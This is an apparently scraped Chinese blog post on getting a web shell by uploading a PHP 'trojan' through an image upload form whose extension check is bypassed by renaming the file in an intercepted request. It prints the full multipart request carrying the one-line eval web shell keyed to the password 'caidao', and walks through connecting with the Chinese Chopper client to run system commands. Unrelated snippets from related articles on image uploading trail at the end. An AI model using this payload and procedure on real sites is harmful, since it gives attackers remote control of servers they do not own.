绕过图片格式限制上传木马获取WebShell

思路:

  图片上传功能中,前端页面上传的是.png格式的图片文件,但是抓包Request中修改图片后缀为.php

可以绕过对上传文件格式的限制,文件的上传路径可以在上传后的页面或查看上传成功后的response中有显示,

记录下来后用菜刀连接即可。

(1)网站要求上传png格式的文件

(2)保存-抓包,将文件后缀.png删除,剩余.php文件继续提交,提示成功。

Content-Disposition: form-data; name="fun_menu_icon"

test123trojan.php
-----------------------------1962884403821
Content-Disposition: form-data; name="fun_menu_icon_upload"; filename="test123trojan.php"
Content-Type: image/png

<?php @eval($_POST[‘caidao‘]); ?>
-----------------------------1962884403821
Content-Disposition: form-data; name="fun_menu_img"

test123trojan.php
-----------------------------1962884403821
Content-Disposition: form-data; name="fun_menu_img_upload"; filename="test123trojan.php"
Content-Type: image/png

<?php @eval($_POST[‘caidao‘]); ?>

(3)在原始数据提交页面或提交数据后response页面中查找上传路径并记录。

(4)打开最新版中国菜刀,添加已经记录的路径,添加密码caidao

(5)连接虚拟终端,输入ipconfig

   

木马成功上传并执行。

时间: 2024-07-30 06:43:56

绕过图片格式限制上传木马获取WebShell的相关文章

Mvc检查图片格式后上传

/// <summary> /// 检查是否文件是否图片并保存 /// </summary> /// <param name="file">文件</param> /// <param name="savePath">保存文件的目录(例:/Img/Mark/)</param> /// <param name="newFileName">重命名后文件的名称</p

前端获取图片压缩后上传给后台

 此前有同事跟我聊过关于移动端用canvas压缩图片后再上传的功能,最近有了点空闲时间,所以就实践了一下.demo效果链接在文章底部贴出. 在做移动端图片上传的时候,用户传的都是手机本地图片,而本地图片一般都相对比较大,拿iphone6来说,平时拍很多图片都是一两M的,如果直接这样上传,那图片就太大了,如果用户用的是移动流量,完全把图片上传显然不是一个好办法. 目前来说,HTML5的各种新API都在移动端的webkit上得到了较好的 实现.根据查看caniuse,本demo里使用到的FileRe

图片上传时获取图片的宽和高

经常会遇到图片上传的问题,这时候我们会传图片的地址,宽和高到服务器,至于图片上传就不说了,这里主要说图片上传时获取图片的原始宽和高的问题. 一般而言,我们把图片上传至服务器时,服务器会返回一个上传地址给我们,这个就是我们图片的url了,但是光有这个还是不够的,因为还要将图片的宽和高传给服务器,这时候就可以这样做了.直接上代码: var img = new Image() img.src = url 然后就可以使用img.width和img.height来获取图片的宽和高了.当然仅仅这样做是不够的

UEditor+七牛,实现图片直连上传

最近做的项目,涉及到使用富文本编辑器,我选择了百度的UEditor.同时,我们的图片放在七牛云存储上.关于这两者间的集成,我写下一些个人的经验,与大家分享. 图片上传方案 目前来说,Web端基于七牛等云存储的图片上传方式分为以下两种: 1. 上传图片至服务端,再将数据转发至七牛. 通过服务端接受用户上传的内容,同时可以对内容进行有效性审核,拒绝不合规范的内容,然后从服务端将内容上传至七牛. 这种方法可以有效控制并记录用户提交的内容,但同时也增加了服务器的运行压力. 2. 直接上传图片至七牛,然后

iOS开发——项目实战总结&amp;类微信朋友圈发动态功能初步-图片与视频上传

类微信朋友圈发动态功能初步-图片与视频上传 最近在做一个新的项目,涉及到了关于图片和视频上传和显示的功能,研究了一段时间,总结一下. 使用AFNetworking上传图片(可一次上传多张图片,包含不同类型png, jpeg)和视频 1 AFHTTPRequestOperationManager *manager = [AFHTTPRequestOperationManager manager]; 2 3 AFHTTPRequestOperation *operation = [manager P

OpenCart多图片拖放式上传管理器

OpenCart多图片拖放式上传管理器 OpenCart多图片拖放式上传管理器   4 评价  |  如果您对本商品有什么问题或经验,请在此留下您的意见和建议! 后台登录信息: 用户名: demo 密码: demo后台演示网址型 号: COC-A0006 ¥170.00 税前: ¥170.00 购买数量: +- * 扩充功能安装:              --- 请选择 ---                          自己安装                             

CANVAS运用-对图片的压缩上传(仅针对移动浏览器)

最近在移动端设计头像上传功能时,原本是以<input type="file">直接通过formData上传,然而实际使用情况是:对于过大的图片(高像素手机所拍摄的照片等)上传时间过长会导致上传失败,而每次都上传原始大小的图片(后台处理压缩)十分影响用户体验,所以研究了一下通过canvas压缩图片并上传的方法,以下是整理的一些思路和心得: 一.<input type="file">获取本地图片,并将图片绘制到画布中.此处的难点在于:由于浏览器的

文件无刷新上传并获取保存到服务器端的路径(swfUpload与uploadify)

文件无刷新上传并获取保存到服务器端的路径 遇到上传文件的问题,结合之前用到过的swfUpload,又找了一个无刷新上传文件的jquery插件uploadify,写篇博客记录一下分别介绍这两个的实现方法 swfUpload 导入swfUpload的开发包 添加js引用,引用swfUpload.js与handler.js文件,如果对swfUpload不了解.有疑问可以看看这篇博客 页面初始化 修改handler.js文件中 上传成功的事件,serverData是服务器端的响应 Uploadify 导

HTML5实现图片文件异步上传

利用HTML5的新特点做文件异步上传非常简单方便,本文主要展示JS部分,html结构.下面的代码并未使用第三发库,如果有参照,请注意一些未展现出来的代码片段.我这边的效果预览: 1.文件未选择 2.文件已选择 HTML代码部分: 思路:下面代码中我利用css的z-index属性将input="file"标签隐藏在了id=btnSelect元素下面,通过触发a标签的点击后,弹出文件选择框.下面的masklayer用于点击确认按钮后的弹出层,避免用户重复点击确认按钮. <div id